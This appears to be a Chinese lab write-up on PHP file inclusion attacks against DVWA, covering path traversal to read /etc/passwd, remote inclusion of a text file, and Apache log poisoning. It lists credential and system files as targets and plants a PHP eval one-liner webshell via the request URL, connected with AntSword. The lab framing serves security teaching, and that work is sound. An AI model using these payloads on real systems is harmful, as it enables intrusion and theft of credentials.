(1)DVWA环境下去包含其他目录的任意3个文件,要求使用相对路径 (2)远程文件包含 (3)中间件日志包含绕过,要求使用蚁剑连接成功
一、实验环境
软件名称 | 部署方式 | 版本 | IP |
---|---|---|---|
DVWA | docker run -d –name dvwa -p 80:80 | latest | 172.31.5.7 |
Upload-labs | docker run -d -p 8081:80 –name upload-labs cuer/upload-labs | latest | 172.31.5.7 |
二、漏洞简介
2.1 原理
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。 在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件, 导致意外的文件泄露甚至恶意的代码注入。
2.2 分类
文件包含漏洞一般可分为两类
**本地文件包含:**包含的是web服务器本地的文件,如:/etc/passwd等敏感文件
利用条件:
- 用户对输入可控且无过滤
**远程文件包含:**包含的是远程服务器(如黑客攻击机器上的文件),攻击者可通过此方式执行恶意代码
利用条件:
需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如: 攻击者搭建的一个Web服务器)的文件。
- allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据
- allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件
2.3 相关函数
PHP中的文件包含函数有以下四种:
- require()
- include()
- require_once()
- include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常 运行;而require函数出现错误的时候,会直接报错并退出程序的执行。 而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次。适 用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重 定义,变量重新赋值等问题。
2.3 漏洞场景
URL中如果出现了如下内容就可能存在文件包含漏洞
?page=
?file=
?home=
常见的系统敏感文件
windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存储windows系统初次安装的密码
c:\programFiles\mysql\my.ini //MYSQL root密码
c:\windows\php.ini // php 配置信息
Linux系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
2.4 漏洞发现
1、观察URL链接是否包括以下类似的关键字:page/include/path/file/link/url等,如果有,则可能 存在文件包含漏洞;
2、可以观察在URL中,出现的赋值参数等号后跟的信息,是否为一个文件,如果是,则可能存在文件 包含漏洞;
3、在关键字处或明显被文件赋值的参数处,尝试进行赋值,如:https://www.baidu.com;或系统常 见文件,如:/etc/passwd(Linux)
三、漏洞复现
3.1 本地文件包含
DVWA安全等级:Low, 文件包含模块可以看到有三个文件,且有关键字page
点击任意文件观察到URL中page字段的参数值有变化
查看源码分析:该页面使用get方法传递参数,且没有任何过滤
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
尝试直接修改URL中page字段的参数值,输入多个 ../ 确保回到 / 目录下。可以读取到/etc/passwd 文件
尝试读取其它文件
3.2 远程文件包含
还是在DVWA的文件包含模块,调整安全级别为:Low
远程文件使用upload-labs中的phpinfo.txt(需自行创建或者上传)
root@09fcc517488e:/var/www/html# cat > phpinfo.txt <<EOF
> <?php
>
> phpinfo();
>
> ?>
> EOF
root@09fcc517488e:/var/www/html# cat phpinfo.txt
<?php
phpinfo();
?>
page参数改为远程服务器的文件地址;**此处注意包含的远程文件不能为.php文件,否则将直接返回远程文件。正确的做法是,包含一个如:.txt后缀的文件,使得被攻击机器读取并执行其中的代码。 **
3.3 中间件日志包含
DVWA安全等级:Low
DVWA中,apache2日志文件路径为: /var/log/apache2/access.log 包含日志文件,需要先对文件和目录添加权限,让web端有权限去访问:
[root@centos7 ~]# docker exec -it dvwa bash
root@81bfa8dbf381:/# chmod 755 /var/log/apache2/
root@81bfa8dbf381:/# chmod 644 /var/log/apache2/access.log
修改完权限后,开启burp抓包,然后访问URL
http://172.31.5.7/vulnerabilities/fi/?page=<?php eval(@$_POST['a']);?>
在burp中可以看到,URL被重新编码了
查看日志文件验证,日志文件记录的是URL编码后的一句话木马,是不能成功执行的
因此需要在burp中将URL改为正常的URL,然后Forward
再次查看日志验证结果,发现一句话木马被成功记录到日志
使用蚁剑链接,注意要配置Cookie(DVWA需要登录)
一句话木马利用成功